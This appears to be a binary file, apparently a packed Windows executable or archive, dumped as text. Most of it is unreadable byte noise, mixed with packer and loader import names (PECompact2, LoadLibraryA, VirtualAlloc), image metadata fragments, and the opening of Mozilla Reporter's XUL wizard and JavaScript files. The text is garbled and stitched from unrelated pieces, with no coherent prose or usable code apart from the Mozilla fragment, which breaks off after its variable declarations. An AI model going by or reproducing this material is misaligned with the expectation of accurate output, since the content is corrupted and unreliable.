@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
